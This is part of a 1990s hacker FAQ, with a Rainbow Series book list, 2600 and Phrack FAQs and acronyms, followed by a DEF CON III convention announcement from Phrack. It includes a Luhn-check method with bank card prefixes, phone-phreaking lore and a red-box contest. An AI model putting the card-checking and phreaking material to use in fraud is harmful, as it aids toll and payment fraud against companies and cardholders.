DoD 5200.28‑STD

Department of Defense Trusted Computer System Evaluation Criteria

Green Book

CSC‑STD‑002‑85

Department of Defense Password Management Guideline

Yellow Book

CSC‑STD‑003‑85

Computer Security Requirements ‑‑ Guidance for Applying the Department of Defense Trusted Computer System Evaluation Criteria in Specific Environments

Yellow Book

CSC‑STD‑004‑85

Technical Rationale Behind CSC‑STD‑003‑85: Computer Security Requirements. Guidance for Applying the Department of Defense Trusted Computer System Evaluation Criteria in Specific Environments.

Tan Book

NCSC‑TG‑001

A Guide to Understanding Audit in Trusted Systems

Bright Blue Book

NCSC‑TG‑002

Trusted Product Evaluation ‑ A Guide for Vendors

Neon Orange Book

NCSC‑TG‑003

A Guide to Understanding Discretionary Access Control in Trusted Systems

Teal Green Book

NCSC‑TG‑004

Glossary of Computer Security Terms

Red Book

NCSC‑TG‑005

Trusted Network Interpretation of the Trusted Computer System Evaluation Criteria

Orange Book

NCSC‑TG‑006

A Guide to Understanding Configuration Management in Trusted Systems

Burgundy Book

NCSC‑TG‑007

A Guide to Understanding Design Documentation in Trusted Systems

Dark Lavender Book

NCSC‑TG‑008

A Guide to Understanding Trusted Distribution in Trusted Systems

Venice Blue Book

NCSC‑TG‑009

Computer Security Subsystem Interpretation of the Trusted Computer System Evaluation Criteria

Aqua Book

NCSC‑TG‑010

A Guide to Understanding Security Modeling in Trusted Systems

Dark Red Book

NCSC‑TG‑011

Trusted Network Interpretation Environments Guideline ‑‑ Guidance for Applying the Trusted Network Interpretation

Pink Book

NCSC‑TG‑013

Rating Maintenance Phase ‑‑ Program Document

Purple Book

NCSC‑TG‑014

Guidelines for Formal Verification Systems

Brown Book

NCSC‑TG‑015

A Guide to Understanding Trusted Facility Management

Yellow‑Green Book

NCSC‑TG‑016

Guidelines for Writing Trusted Facility Manuals

Light Blue

NCSC‑TG‑017

A Guide to Understanding Identification and Authentication in Trusted Systems

Light Blue Book

NCSC‑TG‑018

A Guide to Understanding Object Reuse in Trusted Systems

Blue Book

NCSC‑TG‑019

Trusted Product Evaluation Questionnaire

Gray Book

NCSC‑TG‑020A

Trusted Unix Working Group (TRUSIX) Rationale for Selecting

Access Control List Features for the Unix System

Lavender Book

NCSC‑TG‑021

Trusted Data Base Management System Interpretation of the Trusted Computer System Evaluation Criteria

Yellow Book

NCSC‑TG‑022

A Guide to Understanding Trusted Recovery in Trusted Systems

Bright Orange Book

NCSC‑TG‑023

A Guide to Understandng Security Testing and Test Documentation in Trusted Systems

Purple Book

NCSC‑TG‑024 (Volume 1/4)

A Guide to Procurement of Trusted Systems: An Introduction to Procurement Initiators on Computer Security Requirements

Purple Book

NCSC‑TG‑024 (Volume 2/4)

A Guide to Procurement of Trusted Systems: Language for RFP Specifications and Statements of Work ‑ An Aid to Procurement Initiators

Purple Book

NCSC‑TG‑024 (Volume 3/4)

A Guide to Procurement of Trusted Systems: Computer Security Contract Data Requirements List and Data Item Description Tutorial

+Purple Book

+NCSC‑TG‑024 (Volume 4/4)

+A Guide to Procurement of Trusted Systems: How to Evaluate a Bidder's +Proposal Document ‑ An Aid to Procurement Initiators and Contractors

Green Book

NCSC‑TG‑025

A Guide to Understanding Data Remanence in Automated Information Systems

Hot Peach Book

NCSC‑TG‑026

A Guide to Writing the Security Features User's Guide for Trusted Systems

Turquiose Book

NCSC‑TG‑027

A Guide to Understanding Information System Security Officer Responsibilities for Automated Information Systems

Violet Book

NCSC‑TG‑028

Assessing Controlled Access Protection

Blue Book

NCSC‑TG‑029

Introduction to Certification and Accreditation

Light Pink Book

NCSC‑TG‑030

A Guide to Understanding Covert Channel Analysis of Trusted Systems

C1 Technical Report‑001

Computer Viruses: Prevention, Detection, and Treatment

*C Technical Report 79‑91

*Integrity in Automated Information Systems

*C Technical Report 39‑92

*The Design and Evaluation of INFOSEC systems: The Computer Security *Contributions to the Composition Discussion

NTISSAM COMPUSEC/1‑87

Advisory Memorandum on Office Automation Security Guideline

‑‑

You can get your own free copy of any or all of the books by writing or calling:

INFOSEC Awareness Division

ATTN: X711/IAOC

Fort George G. Meade, MD 20755‑6000

Barbara Keller

(410) 766‑8729

If you ask to be put on the mailing list, you'll get a copy of each new book as it comes out (typically a couple a year).

[* == I have not personally seen this book]

[+ == I have not personally seen this book, and I believe it may not] [ be available]

Section D: 2600

~~~~~~~~~~~~~~~

01. What is alt.2600?

Alt.2600 is a Usenet newsgroup for discussion of material relating to 2600 Magazine, the hacker quarterly. It is NOT for the Atari 2600 game machine. Len@netsys.com created the group on Emmanuel Goldstein's recommendation. Emmanuel is the editor/publisher of 2600 Magazine. Following the barrage of postings about the Atari machine to alt.2600, an alt.atari.2600 was created to divert all of the atari traffic from alt.2600. Atari 2600 people are advised to hie over to rec.games.video.classic.

02. What does "2600" mean?

2600Hz was a tone that was used by early phone phreaks (or phreakers) in the 80's, and some currently. If the tone was sent down the line at the proper time, one could get away with all sorts of fun stuff.

A note from Emmanuel Goldstein:

"The Atari 2600 has NOTHING to do with blue boxes or telephones

or the 2600 hertz tone. The 2600 hertz tone was simply the first step towards exploring the network. If you were successful at getting a toll call to drop, then billing would stop at that

point but there would be billing for the number already dialed

up until the point of seizure. 800 numbers and long distance information were both free in the past and records of who called what were either non‑existent or very obscure with regards to these numbers. This, naturally, made them more popular than numbers that showed up on a bill, even if it was only for

a minute. Today, many 800 numbers go overseas, which provides

a quick and free way into another country's phone system

which may be more open for exploration."

03. Are there on‑line versions of 2600 available?

No.

04. I can't find 2600 at any bookstores. What can I do?

Subscribe. Or, let 2600 know via the subscription address that you think 2600 should be in the bookstore. Be sure to include the bookstores name and address.

05. Why does 2600 cost more to subscribe to than to buy at a newsstand?

A note from Emmanuel Goldstein:

We've been selling 2600 at the same newsstand price ($4) since 1988 and we hope to keep it at that price for as long as we can get away with it. At the same time, $21 is about the right price to cover subscriber costs, including postage and record keeping, etc. People who subscribe don't have to worry about finding an issue someplace, they tend to get issues several weeks before the newsstands get them, and they can take out free ads in the 2600 Marketplace.

This is not uncommon in the publishing industry. The NY Times, for example, costs $156.50 at the newsstands, and $234.75 delivered to your door.

Section E: Phrack Magazine

~~~~~~~~~~~~~~~~~~~~~~~~~~

01. What Is Phrack Magazine?

Phrack Magazine is one of the longest running electronic‑based publications in the world. Originally founded in 1985 by Knight Lightning and Taran King, it has survived several incarnations of editors and still remains true to its underground roots. Since its inception, Phrack has been providing the hacker community with information on operating systems, networking technologies and telephony, as well as relaying human interest features of interest to the international computer underground.

During its lifetime, Phrack has always been at the center of controversy. Since the magazine has always been openly available, it presented law enforcement officials with what they percieved to be a direct link into the secret society of computer hackers. Not truly understnding either the the spirit of the magazine or the community for which it was written, Federal Agents and Prosecutors began to target Phrack Magazine and those affiliated with it.

"The Hacker Crackdown" by Bruce Sterling relays the details surrounding some of these events.

Phrack Magazine is now in its 10th year of publication, and is registered with the Library of Congress as ISSN 1068‑1035, and is protected by US Copyright Law.

02. How can I reach Phrack Magazine?

You can reach Phrack by email at: phrack@well.com, phrack@fc.net or phrackmag@aol.com. These addresses are listed in order of preference. Only AOL users should email the phrackmag@aol.com.

Phrack can be reached by the postal service at:

Phrack Magazine

603 W. 13th #1A‑278

Austin, TX 78701

03. Who Publishes Phrack?

Phrack Magazine is published by Chris Goggans, aka Erik Bloodaxe. It is hobbled together, touched up, spell checked and compressed on an overworked 486‑66. It is then ftp'ed over to a BSDI UNIX machine where it is sent to the masses.

04. How Often Does Phrack Go Out?

Phrack goes out roughly quarterly. It is often sent out later than every three months due to other more demanding obligations faced by its editor. The regularity of Phrack is really based upon the amount of information sent in. Phrack depends solely upon submissions to get published at all.

05. How Do I Subscribe?

To subscribe to Phrack magazine, merely email phrack@well.com and ask to be placed on the mailing list.

Any encrypted subscriptions requests will be ignored.

Phrack will not accept subscription requests from any anonymous remailers or from sites in the fidonet domain. The anonymous remailers consistently bounce our mailings causing a big headache, so we won't use them. The fidonet domain administrators have asked us not to mail Phrack to fido users, because of the huge load it places on their outgoing spools (costing them a lot of money to send).

06. Why Don't I Get Any Response When I E‑mail Phrack?

Because of the high volume of mail sent to the Phrack email address, not everyone gets a response. All subscription requests are saved and added to the master list, but there is no automatic reply. All other messages are responded to as they are read, with the exception of PGP'd messages. All PGP'd email is stored for later decryption, and is almost never responded to, unless it is incredibly urgent.

07. Does Phrack Cost Money?

Phrack Magazine charges a registration fee of $100.00 per user for any professional use of the magazine and the information contained therein. Information regarding this registration fee is contained at the beginning of every issue of Phrack.

08. How Can I Submit Articles?

Articles are both wanted and needed. Phrack only exists if people write for it. There is no regular writing staff, there is only the editor, who cannot write the entire thing himself.

Articles can be sent to Phrack via email or snailmail (on paper or IBM‑compatible diskette). Articles should be in ASCII text format. Do not include any clever graphics or ANSI art. You can use Phrack's PGP key to encrypt articles, but send the files in the ASCII armor format.

Please try to avoid sending files as MIME‑compliant mail attachments.

09. What Is Phrack's PGP Key?

‑‑‑‑‑BEGIN PGP PUBLIC KEY BLOCK‑‑‑‑‑

Version: 2.6

mQCNAizMHvgAAAEEAJuIW5snS6e567/34+nkSA9cn2BHFIJLfBm3m0EYHFLB0wEP Y/CIJ5NfcP00R+7AteFgFIhu9NrKNJtrq0ZMAOmiqUWkSzSRLpwecFso8QvBB+yk Dk9BF57GftqM5zesJHqO9hjUlVlnRqYFT49vcMFTvT7krR9Gj6R4oxgb1CldAAUR tBRwaHJhY2tAd2VsbC5zZi5jYS51cw==

=evjv

‑‑‑‑‑END PGP PUBLIC KEY BLOCK‑‑‑‑‑

10. Where Can I Get Back Issues?

Back issues of Phrack are found on many bulletin boards around the globe. The only OFFICIAL Phrack Magazine distribution site is our ftp archive at ftp.fc.net in /pub/phrack. There are NO official distribution sites other than this one, nor will there ever be. We don't want to play favorites and let one particular BBS call itself an "official" site while another isn't. Therefore, there will be no "official" sites except those archived by Phrack itself.

You can also get back issues on the World Wide Web by connecting to: http://www.fc.net/phrack.html

This URL allows users to view issues online, or pull them down for later viewing.

Any users without net access can send diskettes and postage to the Phrack Postal Address given above, and request back issues to be sent via the postal system.

Section F: Miscellaneous

~~~~~~~~~~~~~~~~~~~~~~~~

01. What does XXX stand for?

TLA Three Letter Acronym

ACL Access Control List

PIN Personal Identification Number

TCB Trusted Computing Base

ALRU Automatic Line Record Update

AN Associated Number

ARSB Automated Repair Service Bureau

ATH Abbreviated Trouble History

BOC Bell Operating Company

BOR Basic Output Report

BOSS Business Office Servicing System

CA Cable

COE Central Office Equipment

COSMOS Computer System for Main Frame Operations

CMC Construction Maintenance Center

CNID Calling Number IDentification

CO Central Office

COCOT Customer Owned Coin Operated Telephone

CRSAB Centralized Repair Service Answering Bureau

DDD Direct Distance Dialing

ECC Enter Cable Change

LD Long Distance

LMOS Loop Maintenance Operations System

MLT Mechanized Loop Testing

NPA Numbering Plan Area

POTS Plain Old Telephone Service

RBOC Regional Bell Operating Company

RSB Repair Service Bureau

SS Special Service

TAS Telephone Answering Service

TH Trouble History

TREAT Trouble Report Evaluation and Analysis Tool

LOD Legion of Doom

HFC Hell Fire Club

TNO The New Order

ACiD Ansi Creators in Demand

CCi Cybercrime International

FLT Fairlight

iCE Insane Creators Enterprise

iNC International Network of Crackers

NTA The Nocturnal Trading Alliance

PDX Paradox

PE Public Enemy

PSY Psychose

QTX Quartex

RZR Razor (1911)

S!P Supr!se Productions

TDT The Dream Team

THG The Humble Guys

THP The Hill People

TRSI Tristar Red Sector Inc.

UUDW Union of United Death Workers

02. How do I determine if I have a valid credit card number?

Credit cards use the Luhn Check Digit Algorithm. The main purpose of this algorithm is to catch data entry errors, but it does double duty here as a weak security tool.

For a card with an even number of digits, double every odd numbered digit and subtract 9 if the product is greater than 9. Add up all the even digits as well as the doubled‑odd digits, and the result must be a multiple of 10 or it's not a valid card. If the card has an odd number of digits, perform the same addition doubling the even numbered digits instead.

03. What bank issued this credit card?

1033 Manufacturers Hanover Trust

1035 Citibank

1263 Chemical Bank

1665 Chase Manhattan

4024 Bank of America

4128 Citicorp

4209 New Era Bank

4302 HHBC

4310 Imperial Savings

4313 MBNA

4317 California Federal

5282 Wells Fargo

5424 Citibank

5410 Wells Fargo

5432 Bank of New York

6017 MBNA

04. What are the ethics of hacking?

An excerpt from: Hackers: Heroes of the Computer Revolution by Steven Levy

Access to computers ‑‑ and anything which might teach you something about the way the world works ‑‑ should be unlimited and total. Always yield to the Hands‑On imperative.

All information should be free.

Mistrust Authority. Promote Decentralization.

Hackers should be judged by their hacking, not bogus criteria such as degrees, age, race, or position.

You can create art and beauty on a computer.

Computers can change your life for the better.

04. Where can I get a copy of the alt.2600/#hack FAQ?

Get it on FTP at:

rahul.net /pub/lps

rtfm.mit.edu /pub/usenet‑by‑group/alt.2600

ftp.clark.net /pub/jcase

Get it on the World Wide Web at:

http://dfw.net/~aleph1

http://www.engin.umich.edu/~jgotts/hack‑faq.html

http://www.phantom.com/~king

Get it from these BBS's:

Hacker's Haven (303)343‑4053

DEFCon Information

==Phrack Magazine==

Volume Six, Issue Forty‑Seven, File 9 of 22

‑‑‑‑‑BEGIN PGP SIGNED MESSAGE‑‑‑‑‑

DEF CON III Convention Update #1.31 (04.04.95) August 4‑6th 1995 @ the Tropicana in Las Vegas

XXXXXXXXXXXXXXXXXXXXXXXX XX DEF CON III Initial Convention Announcement XXXXXXXxxxxXXXXXXXXXXXXXXX XX DEF CON III Initial Convention Announcement XXXXXXxxxxxxXXXXXX X X DEF CON III Initial Convention Announcement XXXXXxxxxxxxxXXXXXXX X DEF CON III Initial Convention Announcement XXXXxxxxxxxxxxXXXX XXXXXXXXX DEF CON III Initial Convention Announcement XXXxxxxxxxxxxxxXXXXXXXXXX X DEF CON III Initial Convention Announcement XXxxxxxxxxxxxxxxXXXXXX XX X DEF CON III Initial Convention Announcement XXXxxxxxxxxxxxxXXXXXXXX DEF CON III Initial Convention Announcement XXXXxxxxxxxxxxXXXXXXXX X XX DEF CON III Initial Convention Announcement XXXXXxxxxxxxxXXXXXXXXXX XX X DEF CON III Initial Convention Announcement XXXXXXxxxxxxXXXXXXXXX X DEF CON III Initial Convention Announcement XXXXXXXxxxxXXXXXXXXXXXXXXX DEF CON III Initial Convention Announcement XXXXXXXXXXXXXXXXXXXXXXXXXXXX X DEF CON III Initial Convention Announcement

READ & DISTRIBUTE & READ & DISTRIBUTE & READ & DISTRIBUTE & READ & DISTRIBUTE READ & DISTRIBUTE & READ & DISTRIBUTE & READ & DISTRIBUTE & READ & DISTRIBUTE

This is _not_ the professional sounding announcement. Use that one to con your boss / employers out of the cost of the trip. The professional announcement will be available on the FTP site and other more serious mailing lists and news groups, etc. This is the k‑RaD kriminal shout out to all u el1te hacker types that aren't in jail to attend 'da def con. werd.

READ & DISTRIBUTE & READ & DISTRIBUTE & READ & DISTRIBUTE & READ & DISTRIBUTE READ & DISTRIBUTE & READ & DISTRIBUTE & READ & DISTRIBUTE & READ & DISTRIBUTE

What's this? This is an initial announcement and invitation to DEF CON III, a convention for the "underground" elements of the computer culture. We try to target the (Fill in your favorite word here): Hackers, Phreaks, Hammies, Virii Coders, Programmers, Crackers, Cyberpunk Wannabees, Civil Liberties Groups, CypherPunks, Futurists, Artists, Criminally Insane, Hearing Impaired.

WHO: You know who you are, you shady characters.

WHAT: A convention for you to meet, party, and listen to some speeches that you would normally never get to hear from some k‑rad people. WHEN: August 4, 5, 6 ‑ 1995 (Speaking on the 5th and 6th) WHERE: Las Vegas, Nevada @ The Tropicana Hotel

So you heard about DEF CON II, and want to hit part III? You heard about the parties, the info discussed, the bizarre atmosphere of Las Vegas and want to check it out in person? You want to do weird shit _away_ from the hotel where you can't get me in trouble? Then you're just the person to attend!

Sure it's great to meet and party with fellow hackers, but besides that we try to provide information and speakers in a forum that can't be found at other conferences. While there is an initial concern that this is just another excuse for the evil hackers to party and wreak havoc, it's just not the case. People come to DEF CON for information and for making contacts. We strive to distinguish this convention from others in that respect. Plus this year we have official DEF CON GOONS(c) who will pummel you until you pass out should you cause problems for other con.friendly people! Big Brother loves you!

What's been said (Only the good stuff will be quoted, of course)

Stevyn ‑ "What can eye say, it was intense! . . . the whole con just kicked ass! I totally recommend you check out the next one."

Gail Thackeray, Prosecutor, "It's partly an entertaining party, it's partly a fashion statement. But it's mostly something about which the business world has no clue."

Wendy Murdock, Boardwatch, "Def Con represents the tug‑of‑war that has always been present ‑ people strive to get that which is just out of reach, aggravating governments and breaking rules in the process."

::::::::::::::::::::::::::::::::::::::::

WHERE IT IS:

The Tropicana has rooms reserved for the convention. Rooms are expensive. They are even more expensive if you don't book under the convention. If it is to expensive for you, please see the section below on Las Vegas WWW sites that can provide you with information on other nearby hotels that are cheaper. Check‑in is 3 pm, check‑out time is 12 noon. Remember there is an 8% sales tax in Vegas.

65$ Single or Double room, Midweek (Monday ‑ Thursday) 90$ Single or Double room, Weekend (Friday ‑ Sunday) 350$ One‑Bedroom Suite (Call for Availability)

The Tropicana, 3801 Las Vegas Blvd. So., Las Vegas, Nevada, 89109 (702) 739‑2581 or (800) 468‑9494 or (702) 739‑2448 (Fax)

Held in three conference rooms at the Tropicana hotel in Las Vegas, DEF CON promises to be interesting. The Tropicana has a huge pool (largest in the world? Anyway, lots of cool movies have been filmed with this pool in them) and in August Vegas should be about 100(f) degrees at one in the morning. What do you care? You'll be wired on caffeine and not sleeping anyway. There are numerous attractions in town from the strip bars to the local COs in case you seek distraction.

The Tropicana is located right on the "Strip" with the other three corners of the street occupied by the MGM Grand (Largest hotel in the world), the Excalibur, and the Luxor (The big sense‑net pyramid). If you can afford it I totally recommend spending some extra time in town.. there are too many cool things to do, especially if you have never visited. Heck, last time I got to rent and fire uzi's and MP‑5 machine guns (OK, so you can do that for cRacK in Los Angeles) see some strippers, and drink 1$ bottles of imported beer. What a place! Now you know why I chose Vegas for a location.

SPECIAL EVENTS

This year there will be a number of special events going down, including:

[> Hacker Jeopardy [> Spot the Fed Contest [> Voice bridge [> Giveaways [> A Red Box Creation Contest [> A Video Room [> Cool Video Shit [> Scavenger Contest [> Who knows? [> Group Battle Tech simulations at Virtual World.

COSTS

The price of admission will be 30$ in advance (See the end of this announcement the address to pre‑register to) or 40$ at the door. This will include your goovie 24bit color name tag and a conference program.

Don't forget to factor in Hotel costs, (The more people you crash with, the cheaper it is) gas, food, gambling, booze, strippers, bail, etc.

::::::::::::::::::::::::::::::::::::::::

SPEAKERS

This is a partial list of speakers for this year. More are being invited or waiting to make plans. As this list changes further announcements will be made. This should give you a flavor or what to expect, though.

[> Bruce Schneier, Author of "Applied Cryptography." TOPIC: Will speak on issues surrounding cryptography, digital authentication, digital cash, and will answer questions from the audience.

[> John Perry Barlow, Visionary, etc. If you don't know who this guy is you definately need to attend. TOPIC: TBA

[> Winn Schwartau, Author of "Information Warfare" and "Terminal Compromise" is a consultant to government and the private sector regarding enterprise and national security concerns. TOPICS: "Information Warfare, the year in review" (Comedic) and "Tempest Attack Videos."

[> Len Rose AKA Terminus. After the legal fiasco Len faced years ago (as partially chronicled in "The Hacker Crackdown.") this will be his first chance to speak of his experiences without the threat of having his parole revoked. TOPIC: TBA

[> Lewis De Payne, aka "Roscoe" TOPIC: Ultra Hacking ‑ Beyond Computers: How to make your hacking more successful and productive while minimizing risk. Learn how to adopt a business‑like strategy, planning your goals, focusing your strategy and keeping you out of trouble!

[> Curtis Karnow, former federal prosecutor and attorney focusing on intellectual property litigation and computer law. TOPIC: Agents in the telecommunications context, and "smart" software that we 'trust' to do the Right Thing. The specific issue is legal liability and responsibility for the actions of intelligent agents, and then spinning off to chat about the liability for artificial intelligence generally.

[> Robert D. Steele, President of OPEN SOURCE SOLUTIONS, Inc. A former Spy, Experienced Bureaucrat, Radical Visionary. Tofflers call him the "rival store" to CIA. Keynote Speaker at HOPE, Workshop at Hac‑Tic '93. TOPIC: TBA

[> The Electronic Frontier Foundation. TOPIC: The EFF will cover current legal threats privacy and computer information networks.

[> Stephen Cobb. TOPIC: "The Party's Over: Why Hacking Sucks." Stepehen intends to play "devil's advocate" and suggest that "hacking should not be tolerated in any shape or form as it serves no useful purpose and is a menace to society."

[> Jim Settle, ex‑FBI computer crime division department head. TOPIC: TBA

Speakers will be talking Saturday and Sunday, and maybe Friday depending.

::::::::::::::::::::::::::::::::::::::::

SPECIAL EVENTS

So you think you're so damn smart, eh? Think your shit doesn't stink? Right. Think you got one up on the Feds, huh? Well, now's your chance to prove it smarty‑pants. Winn Schwartau will take command and moderate.

! A N N O U N C I N G !

H A C K E R J E O P A R D Y

That's right. You can now prove how smart you really are. Get up on stage and question a few answers, pile up the points . . . and win big!

You know the game. You know the rules. Now all you have to do is have the guts, get up on stage in front of your peers and the narks and show us all!

When? After Dark Tangent's opening speech (which we're all really looking forward to . . . [yawn] HACKER JEOPARDY starts!

MIDNIGHT ‑ DAY 1 of DEF CON (Friday)

If you wanna play . . . show up. If you don't wanna play, show up.

There will be three rounds of three people. Just like real. The winners of each round will go into the Finals and the winner of that will win 25,000 units of some foreign currency! From Dark Tangent himself! Plus:

‑ A T‑shirt three sizes to small for the women.

‑ No T‑shirts for the men.

‑ Silk jackets for everyone.

‑ One Heineken per player per round at DT's expense.

‑ Round trip directions to Hoover Dam.

‑ Phiber Optik's home address.

‑ Erik Bloodaxe's Blood Samples.

‑ And more . . .

Contestants will be picked at random from a pool of those who want to play. If you don't wanna play, don't enter the contest. Only the elite survive!

FEDS: If you get picked to play, and we ask you what your job is, YOU HAVE TO TELL THE TRUTH! If you don't, our custom Fed‑O‑Meter will detect your lies and off to the casinos you go!

Potential categories for questions include:

‑ ‑ Famous Busts ‑ Famous Narks ‑ UNIX Bugs ‑ Telco Tech ‑ "Hacking" and beware of the killer daily double. Bribing the judge is acceptable.

EMail your suggested questions and answers to winn at winn@infowar.com

So, in the inimitable words of Al Bundy . . . LET'S ROCK!

3rd ANNUAL SPOT THE FED CONTEST Spot the fed, win the shirt

"Like a paranoid version of pin the tail on the donkey, the favorite sport at this gathering of computer hackers and phone phreaks seems to be hunting down real and imagined telephone security and Federal and local law enforcement authorities who the attendees are certain are tracking their every move.. .. Of course, they may be right." John Markhoff, NYT

Basically the contest goes like this: If you see some shady MB (Men in Black) earphone penny loafer sunglass wearing Clint Eastwood to live and die in L.A. type lurking about, point him out. Just get my attention and claim out loud you think you have spotted a fed. The people around at the time will then (I bet) start to discuss the possibility of whether or not a real fed has been spotted. Once enough people have decided that a fed has been spotted, and the Identified Fed (I.F.) has had a say, and informal vote takes place, and if enough people think it's a true fed, or fed wanna‑be, or other nefarious style character, you win a "I spotted the fed!" shirt, and the I.F. gets an "I am the fed!" shirt.

Note to the feds: This is all in good fun, and if you survive unmolested and undetected, but would still secretly like an "I am the fed!" shirt to wear around the office or when booting in doors, please contact me when no one is looking and I will take your order(s). Just think of all the looks of awe you'll generate at work wearing this shirt while you file away all the paperwork you'll have to generate over this convention. I won't turn in any feds who contact me, they have to be spotted by others.

TELEPHONE CONFERENCE BRIDGE (801‑855‑3326)

For DEF CON III there will be a dial in conference set up. If you are overseas, or just too poor to make it to the convention this year, you can still get an idea of what is going on and participate. One part of the voice conference equipment will allow you to listen to the convention room microphone, another will allow you to ask questions during the Q&A sections of peoples speeches. A general conversation area will be up so you can chat with others at the convention, or just others dialed into the bridge. Navigate through the voice mail maze and get free phone sex! Impress others!

The Voice bridge is up now at 801‑855‑3326. It has 5 analog ports, but in a few weeks will have eight digital ports for better sound, etc.

SPOOAH DOOPAH RAFFLE GIVE AWAY!@#

Throughout the convention, between speakers and events there will be a raffle giveaway in which if your number is drawn, you win the prize. Last year's giveaway included an ancient kaypro monochrome portable, a roll of Sprint "security" tape, "Computer Warriors" evil anti‑virus cartoon, a 240 meg IDE HD, and other elite things.

>> All the prizes given away are donated by other convention goers, so if << >> you have any stuff to give away, please save and donate it to the con! <<

RED BOX BUILDING CONTEST

While we don't encourage or condone the use of toll fraud devices, we do encourage creativity and expression of thought. We combine these and come up with a red box creating contest. The final device doesn't have to produce the real red box tones (can't have people getting arrested) BUT it does have to produce some audible tones, any kind of tones. This contest is inspired by last year's give away of a red box "Big Red" that looked just like a big pack of Big Red gum, but really was a red box. Elite! There was also a little girl's doll that was a red box, but the switch for that one was hidden under the dress and, well, it just wasn't given away.

Come up with unique ideas! With just a Hallmark card and some spare time you can create an elite 007 style tone generating device! What will you win if yours is chosen as the most k‑rad besides the envy of fellow hackers? You'll get a tee shirt and the cost of admission to the convention refunded PLUS some as‑of‑yet undecided prize. I bet you just can't wait to burn your fingers with your soldering iron now!

THE VIDEO ROOM

In one of the rooms a LCD wall projector will be hooked up connected to a VCR, and people can bring flicks to play. Stuff like Max Headroom, War Games etc. You know, the cool cheesey stuff. Also some "hacker" videos will be shown. If you have something you wanna show, bring it along. When the projector is needed in the main conference room it will be swiped for the duration.

COOL VIDEO SHIT

At this time we are working to see if a T1 connection is possible. If it is there will be a cu‑see me connection set up with multiple video cameras in various locations. Images will also be added automatically to a WWW page for people to snag. As all this works itself out there will be further announcements. No, there will be no "Hack our server" contests, and there will be "Security Professionals" with "Diagnostic Tools" to "Correct" any people who may cause the network problems.

SCAVENGER CONTEST

A scavenger contest is being planned. The person or group with the most number of items on the list wins the prize. (Prize undetermined as of yet) and there will be a few follow up prizes. Don't forget to carry massive amounts of water as you run about the concrete jungle, dehydration can happen just crossing the street. This is a contest for only the most k‑rad.

GROUP BATTLE TECH SIMULATIONS AT VIRTUAL WORLD

DEF CON has reserved groups of Battle Tech Pods on Friday and Saturday in order for people at the convention to battle it out in total VR mech‑combat. There will be two teams, the White Hats and Black Hats, who will oppose eachother. Each pod group <currently> consists of 8 pods, so it would be 4 on 4 or we might join pod groups to make it an 8 on 8 battle. In any event you need to reserve you space in the pod battle groups if you want in on the group action. There will be battles going on Friday and Saturday before 5pm. Cost is $25 for one hour of simulation per person. Currently there are three pod groups of eight each open on Friday and two eight pod groups open on Saturady. As people sign up DEF CON will reserve more pod groups if there is demand.

If you are to chicken to get in on the group battle action there will also be a DEF CON group discount rate.

If you are interested in signing up for a seat in the group e‑mail me the day you want to participate and I will mail you back your log in name. Give preference of White or Black hat status. You will need to pay the $25 in advance to reserve your space. Open spaces will be filled on a first come, first serve basis, and also during the con there _should_ be spaces available. The intent is get good con battle groups going. A full battle tech info pack will be availbe on the FTP site soon, as well as in future announcements and on the mailing list.

::::::::::::::::::::::::::::::::::::::::

WHAT YOU CAN DO TO HELP

DEF CON III will be planned right up until the last minute, with problems being fixed and new things being added all along.. a sort of work in progress that you get to witness in person when you show up. Hopefully it won't be too messed up when presented to the public. What can you do to help?

=> Please help generate questions for Hacker Jeopardy. Come up with some questions and answers, and Winn will decide which ones to use. Mail 'em to winn@infowar.com.

‑ ‑> We are looking for people to speak on Personnel Information Gathering and selling. Hopefully a speaker (who could remain anonymous) in this area has experiences in gathering and selling such information. If you know of such a person, please invite them to contact me or let them know we are looking for such speakers.

‑ ‑> We are looking for some people to submit artwork to be used in the convention someplace. It could be a poster, or in the program. Black and white art would be eligible for the program only.

‑ ‑> Articles and interesting FTP sites, WWW pages, mini FAQs, etc. are all wanted for the program. Quality articles that are informative and apply to the theme of the convention. Scanner frequency lists,

::::::::::::::::::::::::::::::::::::::::

MORE DEF CON INFORMATION

The World Wide Web Page is located at: http://underground.org/defcon/

FTP Site: ftp.fc.net /pub/defcon

Mailing lists: mail majordomo@fc.net with the following statement in the body of your message: subscribe dc‑announce This will set you up on the mailing list and you will receive updated information, information on the other mailing lists offered, etc. I suggest joining the dc‑stuff list just so you can talk and plan with other people going to the con to coordinate rides, sharing of rooms, etc.

Voice or Voice Mail: 0‑700‑826‑4368 from a phone with AT&T LD. or 206‑626‑2526

E‑Mail: dtangent@defcon.org (The Dark Tangent)

Snail Mail: 2709 E. Madison #102, Seattle, WA, 98112

BBS System to call for info if you don't have net access:

Alliance Communications ‑ +1 612 251 2511 ‑ USRobotics HST DS 16800 NUP: New World Order

Voice Bridge Chat System: 801‑855‑3326

::::::::::::::::::::::::::::::::::::::::

INFORMATION ABOUT LAS VEGAS

NEWS GROUPS

Please note the following newsgroups may or may not be designated for local distribution (Distribution: Vegas and/or nv), and is intended for all systems in the Las Vegas area or those interested in same on the same level as the la, ca, ba, ny, nyc, and other similar local higherarchies:

vegas.bi Talk for bisexually natured persons vegas.config Configuration discussions for the higherarchy vegas.food Anything about food in Las Vegas vegas.for‑sale For Sale/Want ads (no commercials, please!) vegas.general General discussion

vegas.jobs Jobs offered and wanted in Las Vegas vegas.motss MOTSS community talk

vegas.personals Personal ads ‑ any nature

vegas.singles Talk for singles

vegas.test Group to test post to

WWW PAGES about Las Vegas, Hotels, Things to do, etc.

HTTP://www.infi.net:80/vegas/online/

HTTP://www.ocf.berkeley.edu/~iew/index.html

HTTP://www.best.com/~rdc/roger/vegas.html

HTTP://www.intermind.net/las.vegas.on‑line/homepage.html

::::::::::::::::::::::::::::::::::::::::

STUFF TO BUY

Stuff is for sale from DEF CON I and II in case you are interested. From the first year we have audio tapes (4 90 minute tapes) for $20 and the second year (10 90 minute tapes) for $30. Descriptions of these tapes are below.

DEF CON I Tapes (4) include the following speakers:

Ray Kaplan, Curtis Karnow, Gail Thackeray, Dead Addict, Dark Druid, Judi Clark Dan Farmer, and Dr. Mark Ludwig.

DEF CON II Tapes (10) include the following speakers:

Phillip Zimmermann : Keynote Speaker, PGP.

Gail Thackeray : Response to Mr. Zimmermann and Privacy issues. Chris Hall : Electronic Surveillance.

Curtis Karnow : Recombinant Culture, Crime in the Digital Network. Dr. Mark Ludwig : Virus Creation Awards and What to do when the Feds come. Judi Clark, Mara, Fen and Marianne in a Round Table Discussion. The Dark Knight : Hacking in the UK

Sara Gordon, Mark Aldrich, Phil Zimmermann: Internet and PGP privacy concerns. Annaliza (Torquie) : The European Underground scene.

Mark Lottor : Various cellular topics.

